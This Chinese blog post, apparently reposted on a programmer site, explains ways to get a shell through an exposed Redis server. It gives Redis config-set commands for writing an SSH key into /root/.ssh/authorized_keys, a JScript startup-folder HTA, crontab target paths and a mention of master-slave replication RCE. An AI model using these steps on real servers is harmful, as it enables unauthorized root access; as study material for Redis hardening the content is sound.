我是靠谱客的博主 忐忑石头,最近开发中收集的这篇文章主要介绍redis getshell方法前言Redis是什么常见方法SSH Key计划任务主从复制 RCE,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

前言

参考文章
https://paper.seebug.org/1169
https://blog.csdn.net/weixin_55843787/article/details/123829606
https://blog.csdn.net/chenglanqi6606/article/details/100909518

Redis是什么

Redis是一款基于键值对的NoSQL数据库,它的值支持多种数据结构

常见方法

1、通过向Web目录中写webshell的方式进行getshell

2、通过写SSH key的方式进行getshell

3、通过写corntab的方式进行getshell

SSH Key

linux 系统使用 ssh 的用户目录下都会有一个隐藏文件夹/.ssh/。

只要把我们的公钥写在对方的 .ssh/authorized_keys 文件里再去用 ssh 连接就不需服务器的账号密码了

第1步:本地生成公钥文件

ssh-keygen–trsa

第2步:将生成的公钥写入到文件中

(echo -e “nnnn”; cat id_rsa.pub; echo -e “nnnn”) > pub.txt

第3步:设置路径、文件、写入公钥

config set dir /root/.ssh/
config set dbfilename “authorized_keys”
config set 233 “xxxx”
save

第4步:连接

ssh -i id_rsa root@xxx.xxx.xxx.xxx

计划任务

Windows

在 Windows 系统中有一个特殊的目录,在这个目录下的文件在开机的时候都会被运行。

<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>

我把这段JS执行 calc 命令的代码写到了该目录下

C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUpexp.hta

当系统启动时就会随之运行,从而执行攻击者的恶意代码。

linux:corntab

在 linux 系的系统有着定时任务的功能,只要文件可以写到定时任务目录里就可以执行系统命令。

/var/spool/cron/用户名
/var/spool/cron/crontabs/用户名
/etc/crontab
/etc/cron.d/xxx

注意:有些系统对 crontab 的文件内容的校验比较严格可能会导致无法执行定时任务。

主从复制 RCE

如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写C语言并编译出 .so 文件。

漏洞复现参考文章:
https://blog.csdn.net/weixin_44971640/article/details/128117510

最后

以上就是忐忑石头为你收集整理的redis getshell方法前言Redis是什么常见方法SSH Key计划任务主从复制 RCE的全部内容,希望文章能够帮你解决redis getshell方法前言Redis是什么常见方法SSH Key计划任务主从复制 RCE所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(37)

评论列表共有 0 条评论

立即
投稿
返回
顶部